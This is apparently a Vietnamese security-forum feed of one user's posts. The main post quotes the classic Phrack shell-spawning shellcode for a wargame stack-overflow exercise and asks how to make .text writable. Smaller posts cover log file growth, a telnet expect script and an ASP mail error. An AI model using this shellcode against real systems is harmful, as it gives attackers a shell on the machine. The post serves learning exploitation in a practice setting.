<![CDATA[Messages posted by "kokichi88"]]> /hvaonline/posts/listByUser/150056.html JForum - http://www.jforum.net Lỗi khi thao tác lên vùng nhớ .text runtime www.overthewire.org). Hiện tại em đang có vấn đề với việc build asm code để exploit stack over flow. Code:
jmp 0x1f # 2 bytes
popl %esi # 1 byte (1)
movl %esi,0x8(%esi)  # 3 bytes (2)
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi)    # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal  0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call  -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
Đây là code example trong tài liệu tham khảo http://www.phrack.com/issues.html?issue=49&id=14&mode=txt. Mục đích của đoạn asm code trên là lấy được address của string "bin/sh" truyền vào hàm execve -> exit -> spawn thành công shell. 1 -> ta thấy %esi lúc này chứa address của string "bin/sh" và lệnh tiếp theo để insert NULL vào cuối string để đánh đấu kết thúc string -> không bị lỗi khi insert thêm NOP để align string exploit sau này. Đây cũng là điểm khi em run code bị lỗi, %esi lúc này chứa address thuộc vùng .text nên lệnh movl %esi,0x8(%esi) luôn trả về error Segmentation fault khi run. Câu hỏi của em là: 1. Có phải tài liệu này đã outdate và thời điểm hiện tại compiler đã thay đổi nên ví dụ trên không còn phù hợp nữa 2. Em thử tìm có 2 cách để make .text writable : - thử build với option -N của ld Code:
#!/bin/bash
    gcc -c -o  $1.o $1.s
    ld  -s -o -N $1 $1.o
-> không hoạt động - dùng mprotect. Cách này có vẻ bất khả thi vì phải tính toán theo page_size khi runtime. Có cách nào khác nữa để "make .text writable".]]>
/hvaonline/posts/preList/45441/279703.html#279703 /hvaonline/posts/preList/45441/279703.html#279703 GMT
Lỗi trở về thư mục / của vsftp /hvaonline/posts/preList/41392/256296.html#256296 /hvaonline/posts/preList/41392/256296.html#256296 GMT Log file trong Linux Code:
programxx > programxx.log
. Ở đây em muốn hỏi nếu programxx kia chạy với khoảng thời gian dài, thì tối đa file programxx.log có thể đạt dung lượng bao nhiêu. Linux có cơ chế nào split file log trên thành nhiều file không?]]>
/hvaonline/posts/preList/38533/236416.html#236416 /hvaonline/posts/preList/38533/236416.html#236416 GMT
Send input to telnet /hvaonline/posts/preList/37338/229722.html#229722 /hvaonline/posts/preList/37338/229722.html#229722 GMT Send input to telnet Bình thường nhiều câu lệnh thực hiện liên tiếp thì cách nhau bởi |  do vội nên không được chính xác lắm, bổ sung thêm là output của lệnh trước sẽ là input cho lệnh sau. Còn về đoạn expect của em đơn gian ví dụ như sau Code:
#!/usr/bin/expect
set key [lindex $argv 0]
spawn telnet x.x.x.x x
expect " "
send "delete $key\r"
expect "DELETED"
send "quit"
Em đang dùng database dạng key-value và dùng telnet để làm việc trên đó trong 1 số trường hợp :D. ]]>
/hvaonline/posts/preList/37338/229717.html#229717 /hvaonline/posts/preList/37338/229717.html#229717 GMT
Send input to telnet /hvaonline/posts/preList/37338/229677.html#229677 /hvaonline/posts/preList/37338/229677.html#229677 GMT Send input to telnet /hvaonline/posts/preList/37338/229653.html#229653 /hvaonline/posts/preList/37338/229653.html#229653 GMT Send input to telnet /hvaonline/posts/preList/37338/229649.html#229649 /hvaonline/posts/preList/37338/229649.html#229649 GMT SMTP ASP ERROR /hvaonline/posts/preList/30692/189475.html#189475 /hvaonline/posts/preList/30692/189475.html#189475 GMT SMTP ASP ERROR /hvaonline/posts/preList/30692/189468.html#189468 /hvaonline/posts/preList/30692/189468.html#189468 GMT SMTP ASP ERROR myMail.Send();// lỗi ở đây CDO.Message.1 error '80040220' The "SendUsing" configuration value is invalid. myMail = null; em nghĩ là do config ko đúng. Em cũng search tài liệu để sửa nhưng chưa đc. Mong có ai giúp đỡ]]> /hvaonline/posts/preList/30692/189294.html#189294 /hvaonline/posts/preList/30692/189294.html#189294 GMT Các anh xem hộ con virus này cái /hvaonline/posts/preList/15484/92403.html#92403 /hvaonline/posts/preList/15484/92403.html#92403 GMT hỏi cách để Forum có thể post nhạc được /hvaonline/posts/preList/15034/89553.html#89553 /hvaonline/posts/preList/15034/89553.html#89553 GMT